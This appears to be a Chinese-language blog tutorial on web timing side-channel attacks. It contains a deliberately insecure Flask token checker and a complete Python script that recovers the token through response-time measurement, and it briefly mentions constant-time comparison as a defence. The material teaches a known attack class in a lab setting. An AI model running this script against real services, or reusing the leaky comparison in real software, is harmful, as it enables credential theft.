web侧信道时序攻击

每至晴初霜旦,林寒涧肃,常有高猿长啸,属引凄异,空谷传响,哀转久绝.


侧信道时序攻击是一种密码爆破手段,通过精确测量分析服务器的响应时间差异来猜测密码每一位的正确与否,原理类似sql中的时间盲注.

举一个服务器的密码验证源码例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# vulnerable_server.py
from flask import Flask, request, jsonify
import time

app = Flask(__name__)

# 服务器保存的“秘密”字符串(模拟 token / 签名等)
SECRET = "S3cr3t_T0ken!"

def insecure_compare(user_input: str, secret: str) -> bool:
"""
一个故意写得很脆弱的比较函数:
- 按字节逐个比较
- 每比较到一个相同字符就 sleep 一小段时间
- 一旦遇到不相等就立刻返回 False
这样就产生了明显的时序差异。
"""
# 长度不等直接 False(也会产生时间特征,这里暂时不管)
if len(user_input) != len(secret):
return False

for i in range(len(secret)):
if user_input[i] != secret[i]:
return False
# 如果当前字符正确,就睡一会儿(故意放大时序)
time.sleep(0.005) # 5ms

return True


@app.route("/check", methods=["GET"])
def check():
"""
请求方式:
GET /check?token=XXXX
返回:
{"ok": true} 或 {"ok": false}
"""
token = request.args.get("token", "")

if insecure_compare(token, SECRET):
return jsonify({"ok": True, "msg": "Correct token!"})
else:
# 模拟真实服务,错误情况也正常返回 200,只是 ok=False
return jsonify({"ok": False, "msg": "Wrong token"})


if __name__ == "__main__":
# 只监听本地 5000 端口,避免被别人访问
app.run(host="127.0.0.1", port=5000, debug=False)

攻击者可以访问如下界面

1
http://127.0.0.1:5000/check?token=aaaa

攻击者针对上面的服务,可以先探测正确的密码长度(群主的靶机Time会提示密码长度不对,如果不提示也可以先爆破).

然后,可以采用以下脚本攻击.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# attack_timing.py
import time
import string
import statistics
import requests

TARGET_URL = "http://127.0.0.1:5000/check"
SECRET_LEN = 13 # 已知或提前试探到的长度
REPEAT = 7 # 每个候选字符请求多少次,取平均值

# 候选字符集:可以根据自己的场景调整
CANDIDATE_CHARS = string.ascii_letters + string.digits + "_-!@#$%^&*{}[]()."

def time_request(token: str) -> float:
"""
向目标发送一个带 token 的请求,返回响应时间(秒)。
"""
params = {"token": token}
start = time.perf_counter()
resp = requests.get(TARGET_URL, params=params)
end = time.perf_counter()
# 这里我们只关心时间,不关心结果
return end - start

def measure_candidate(prefix: str, position: int, ch: str) -> float:
"""
构造一个 token:prefix + ch + 填充
然后请求 REPEAT 次,返回平均响应时间。
"""
# token 长度要和 SECRET_LEN 一致
# 已经猜出的部分:prefix(长度 position)
# 当前测试的字符:ch
# 剩余部分用任意字符(比如 'A')填充
filling_len = SECRET_LEN - (position + 1)
token = prefix + ch + ("A" * filling_len)

times = []
for _ in range(REPEAT):
t = time_request(token)
times.append(t)
# 使用中位数或平均值,提高稳定性
avg = statistics.mean(times)
return avg

def recover_secret():
"""
利用时序攻击一点点恢复 SECRET。
"""
guessed = "" # 目前已经猜到的前缀
for pos in range(SECRET_LEN):
print(f"\n[+] Recovering position {pos} (0-based)...")
best_ch = None
best_time = -1.0
record = []

for ch in CANDIDATE_CHARS:
avg_time = measure_candidate(guessed, pos, ch)
record.append((ch, avg_time))
print(f" test char '{ch}': avg_time = {avg_time:.6f} s")

if avg_time > best_time:
best_time = avg_time
best_ch = ch

# 排序输出一下(可选),方便你观察
record.sort(key=lambda x: x[1], reverse=True)
print("\n [*] Top 5 candidates by time:")
for ch, t in record[:5]:
print(f" '{ch}': {t:.6f} s")

guessed += best_ch
print(f"[+] Best guess for position {pos}: '{best_ch}'")
print(f"[+] Current guessed secret: {guessed!r}")

print("\n[+] Final guessed SECRET:", guessed)

if __name__ == "__main__":
recover_secret()

时序攻击要求延迟很低,不然无法精确比对时间,当然在ctf比赛环境中一般都会sleep一个很大的值方便选手们比较,从其他角度来看也可以使用恒定的时间比较函数,返回标准错误信息等.


web侧信道时序攻击
http://example.com/2025/11/27/web侧信道时序攻击/
Author
Skyarrow
Posted on
November 27, 2025
Licensed under